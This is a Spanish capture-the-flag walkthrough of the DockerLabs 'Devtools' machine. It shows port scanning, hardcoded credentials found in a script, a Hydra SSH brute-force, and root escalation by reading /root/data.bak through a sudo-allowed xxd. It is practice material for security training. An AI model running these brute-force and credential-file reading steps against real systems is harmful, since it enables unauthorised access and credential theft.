DockerLabs - Devtools

nmap

┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Devtools]
└─$ nmap -p- -sS --min-rate 5000 -n -Pn 172.17.0.2 -oG allPorts
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Devtools]
└─$ nmap -sCV -p22,80 172.17.0.2                               
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 4d:ea:92:ba:53:e3:b8:dc:71:95:50:19:87:6b:b2:6d (ECDSA)
|_  256 fa:77:68:76:dc:8e:b1:cd:56:5f:c1:79:89:ad:fa:78 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: \xC2\xBFQu\xC3\xA9 son las DevTools del Navegador?
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

análisis

Vemos que al acceder a la página principal del puerto 80 del servidor, nos salta una ventana pidiéndonos unas credenciales:

Dado que no poseemos dichas credenciales, procedemos a mirar el código fuente de la página:

En cierto punto, habla de la pestaña Network, por lo que probamos a ver a que recursos se llama a la hora de cargar la página:

Encontramos que se está llamando al script backupp.js, el cual procedemos a revisar:

Nos encontramos que tiene unas credenciales hardcodeadas en el código, por lo que probamos a ver si son las credenciales que nos solicitan, y resulta ser así:

acceso inicial (carlos)

En el código del script también se mencionaba una contraseña más en un comentario, por lo que podemos ver si pertenece a algún usuario del sistema:

┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Devtools]
└─$ hydra -L /usr/share/seclists/Usernames/Names/names.txt -p ********* ssh://172.17.0.2 -I -t 64 
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[DATA] max 64 tasks per 1 server, overall 64 tasks, 10177 login tries (l:10177/p:1), ~160 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: carlos   password: *********

Teniendo las credenciales del usuario carlos, procedemos a conectarnos por SSH:

┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Devtools]
└─$ sshpass -p "*********" ssh carlos@172.17.0.2
carlos@14389feb7454:~$ whoami
carlos
carlos@14389feb7454:~$ hostname
14389feb7454

Revisamos los usuarios del sistema que tengan asignada una consola:

carlos@14389feb7454:~$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash

También comprobaremos que permisos SUDO tiene el usuario carlos asignados:

carlos@14389feb7454:~$ sudo -l
Matching Defaults entries for carlos on 14389feb7454:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User carlos may run the following commands on 14389feb7454:
    (ALL) NOPASSWD: /usr/bin/ping
    (ALL) NOPASSWD: /usr/bin/xxd

escalada de privilegios (root)

En el directorio principal del usuario carlos encontramos la siguiente nota:

carlos@14389feb7454:~$ cat nota.txt 
Backup en data.bak dentro del directorio de root

Dado que podemos leer el contenido de los ficheros del sistema con permisos root con la utilidad xxd (permisos SUDO), revisamos el contenido del fichero /root/data.bak que nos han indicado, donde nos encontramos lo que parecen ser unas credenciales:

carlos@14389feb7454:~$ sudo /usr/bin/xxd /root/data.bak
00000000: 726f 6f74 3a62 616c 756c 6572 6974 6f0a  root:**********.

Probamos a conectarnos como el usuario root, y vemos que las credenciales son correctas:

carlos@14389feb7454:~$ su root
Password: 
root@14389feb7454:/home/carlos# whoami
root

Y de esta manera, se obtiene acceso privilegiado en la máquina Devtools!